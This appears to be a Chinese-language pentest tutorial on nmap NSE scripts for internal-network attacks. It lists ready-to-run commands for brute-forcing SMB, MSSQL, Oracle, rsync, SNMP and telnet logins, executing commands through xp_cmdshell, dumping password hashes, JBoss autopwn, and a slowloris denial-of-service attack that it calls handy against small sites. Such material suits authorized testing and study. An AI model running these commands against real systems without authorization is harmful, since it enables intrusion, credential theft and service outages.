nmap的基本介紹和基本使用方法,在烏云知識庫中已經有人提交過,講的比較詳細,在此文中就不再講述。 具體鏈接:http://drops.wooyun.org/tips/2002
本文主要講解nmap的眾多腳本的使用,在內網滲透的時候尤其好用。
nmap腳本主要分為以下幾類,在掃描時可根據需要設置--script=類別這種方式進行比較籠統的掃描:
auth: 負責處理鑒權證書(繞開鑒權)的腳本
broadcast: 在局域網內探查更多服務開啟狀況,如dhcp/dns/sqlserver等服務
brute: 提供暴力破解方式,針對常見的應用如http/snmp等
default: 使用-sC或-A選項掃描時候默認的腳本,提供基本腳本掃描能力
discovery: 對網絡進行更多的信息,如SMB枚舉、SNMP查詢等
dos: 用于進行拒絕服務攻擊
exploit: 利用已知的漏洞入侵系統
external: 利用第三方的數據庫或資源,例如進行whois解析
fuzzer: 模糊測試的腳本,發送異常的包到目標機,探測出潛在漏洞 intrusive: 入侵性的腳本,此類腳本可能引發對方的IDS/IPS的記錄或屏蔽
malware: 探測目標機是否感染了病毒、開啟了后門等信息
safe: 此類與intrusive相反,屬于安全性腳本
version: 負責增強服務與版本掃描(Version Detection)功能的腳本
vuln: 負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
部分使用截圖:
(1) nmap --script=auth 192.168.137.*
負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令
(2)nmap --script=brute 192.168.137.*
提供暴力破解的方式 ?可對數據庫,smb,snmp等進行簡單密碼的暴力猜解
(3)nmap --script=default 192.168.137.*
或者 nmap -sC 192.168.137.*
默認的腳本掃描,主要是搜集各種應用服務的信息,收集到后,可再針對具體服務進行攻擊
(4)nmap --script=vuln 192.168.137.*
? ?
檢查是否存在常見漏洞
(5)nmap -n -p445 --script=broadcast 192.168.137.4
在局域網內探查更多服務開啟狀況
(6)nmap --script external 202.103.243.110
?
利用第三方的數據庫或資源,例如進行whois解析
(1)vnc掃描:
檢查vnc bypass
#!bash
nmap ?--script=realvnc-auth-bypass 192.168.137.4 ?
檢查vnc認證方式
#!bash
nmap ?--script=vnc-auth ?192.168.137.4 ?
獲取vnc信息
#!bash
nmap ?--script=vnc-info ?192.168.137.4 ?
(2)smb掃描:
smb破解
#!bash
nmap? --script=smb-brute.nse 192.168.137.4??
smb字典破解
#!bash
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4 ?
smb已知幾個嚴重漏
#!bash
nmap ?--script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4 ? ?
查看共享目錄 ?
#!bash
nmap -p 445 ?--script smb-ls --script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ 192.168.137.4 ? ?
查詢主機一些敏感信息(注:需要下載nmap_service)
#!bash
nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test 192.168.137.4 ??
查看會話
#!bash
nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.137.4 ? ?
系統信息
#!bash
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.137.4 ?
(3)Mssql掃描:
猜解mssql用戶名和密碼
#!bash
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4 ?
xp_cmdshell 執行命令?
#!bash
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4 ? ? ?
dumphash值
#!bash
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa ?192.168.137.4 ? ???
(4)Mysql掃描:
掃描root空口令
#!bash
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4 ??
列出所有mysql用戶
#!bash
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4 ??
支持同一應用的所有腳本掃描
#!bash
nmap --script=mysql-* 192.168.137.4 ?
(5)Oracle掃描:
oracle sid掃描
#!bash
nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5 ?
oracle弱口令破解
#!bash
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5 ? ? ?
(6)其他一些比較好用的腳本
nmap --script=broadcast-netbios-master-browser 192.168.137.4 ? 發現網關
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 ?破解rsync
nmap --script informix-brute -p 9088 192.168.137.4 ? ?informix數據庫破解
nmap -p 5432 --script pgsql-brute 192.168.137.4 ? ? ? pgsql破解
nmap -sU --script snmp-brute 192.168.137.4 ? ? ? ? ? ?snmp破解
nmap -sV --script=telnet-brute 192.168.137.4 ? ? ? ? ?telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> ?jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 檢查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 ?dos攻擊,對于處理能力較小的站點還挺好用的 'half-HTTP' connections?
nmap --script=samba-vuln-cve-2012-1182 ?-p 139 192.168.137.4
(7)不靠譜的腳本:
vnc-brute ? ?次數多了會禁止連接
pcanywhere-brute ? 同上
nmap中腳本并不難看懂,所以在使用時如果不知道原理可以直接看利用腳本即可,也可以修改其中的某些參數方便自己使用。
舉例:
關于oracle的弱口令破解:
調用過程:oracle-brute.nse >> oracle-default-accounts.lst
首先是調用破解腳本:
根據腳本中字典的位置去查看默認字典,當然也可以將破解的字符自行添加其中,或者是修改腳本或參數改變破解字典: